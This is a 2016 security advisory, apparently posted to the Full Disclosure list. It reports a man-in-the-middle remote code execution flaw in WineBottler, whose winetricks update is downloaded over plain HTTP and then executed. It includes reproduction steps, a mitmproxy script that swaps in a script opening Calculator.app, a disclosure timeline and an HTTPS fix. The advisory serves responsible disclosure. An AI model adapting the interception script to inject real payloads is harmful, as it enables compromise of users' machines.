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[FD] Man in the Middle Remote Code Execution Vulnerability in WineBottler and its Bundles

Man in the Middle Remote Code Execution Vulnerability in WineBottler and its Bundles

Release Date: 17-10-2016
Author: Florian Bogner // Kapsch BusinessCom AG (https://www.kapsch.net/kbc)
Affected product: WineBottler (http://winebottler.kronenberg.org/)
Affected versions: up to the still current version 1.8-rc4
Tested on: OS X El Capitan 10.11.6
CVE : product not covered
URL: https://bogner.sh/2016/10/man-in-the-middle-remote-code-execution-vulnerability-in-winebottler-and-its-bundles/
Video: https://youtu.be/nwcZIn2s6Vc
Vulnerability Status: No patch available - Developer became unresponsive after promising to fix the issue

Product Description
WineBottler packages Windows-based programs like browsers, media-players, games or business applications snugly into Mac app-bundles.

Vulnerability Description
Whenever WineBottler is launched it tries to update the bundled winetricks (https://github.com/Winetricks/winetricks) library. However, as this update is carried out over unencrypted HTTP an attacker with man-in-the-middle capabilities can replace the downloaded winetricks.sh shell script. As the script is also launched immediately after downloading, this is a reliable man in the middle remote code execution vulnerability.

The issue also affects all the bundles created with WineBottler. However, I think it can only be abused on their first launch. This greatly limits the attack surfe.

1.) Setup an HTTP proxy like Burp (https://portswigger.net/burp/)
2.) Redirect all HTTP traffic to this proxy
3.) Launch WineBottler
4.) Modify the request to http://winetricks.org/winetricks so that it returns a valid shell script.
5.) Remote code execution has been gained!

The following mitmproxy (https://mitmproxy.org/index.html) script "drunken-winebottler.py" can be used to automate the attack:
from mitmproxy.models import decoded

NEWLINE = '\r\n'

def response(context, flow):
    if flow.request.url == "http://winetricks.org/winetricks"; and flow.response.status_code == 301 and flow.request.method=="GET":
        flow.response.status_code=200 # overwrite 301 status code to 200

        with decoded(flow.response):  # automatically decode gzipped responses.
            flow.response.content =  "" # replace original script to launch Calculator.app
            flow.response.content += '#!/bin/sh'+NEWLINE
            flow.response.content += '/usr/bin/open /Applications/Calculator.app'

Disclosure Timeline
29.5.2016: The issue has been discovered
30.5.2016: Tried to establish initial contact with the developer using Facebook
31.5.2016: Requested CVE number; Retried to contact developer using Facebook
1.6.2016: MITRE declined CVE: The product is not covered.
2.6.2016: Created this documentation; Sent to developer using mail
18.6.2016: Developer responded on Facebook
20.6.2016: Developer promised that Winetricks update will be switched to HTTPS. Agreed on the 29.7. for the public disclosure
25.7.2016: Tried to contact developer as no new version has been released – no success
29.7.2016: Initially agreed public disclosure date – rescheduled
31.7.2016: Tried again to contact developer – again no success.
13.8.2016: Tried a last time to get in touch with the developer – again no success
17.10.2016: Public disclosure altough unfixed: Developer unresponsive since several month

Suggested Solution
All request should be carried out over encrypted communication channels like HTTPS. The author already mentioned (https://mike.kronenberg.org/winebottler-1-7-52/) that he is planing to do so in the future. Yet, right now there is no patch available.

The only workaround would be to block outgoing (HTTP) connections - However, whenever I tried that WineBottler stalled...

Florian Bogner | Security Solutions
ICT Technology Solutions
Telefon Mobil +43 664 628 5491 | florian.bogner AT kapsch.net<mailto:florian.bogner AT kapsch.net>

Kapsch BusinessCom AG | Wienerbergstrasse 53 | 1120 Wien | Österreich
www.kapschbusiness.com<http://www.kapschbusiness.com/> | www.kapsch.net
Firmenbuch HG Wien FN 178368g | Firmensitz Wien


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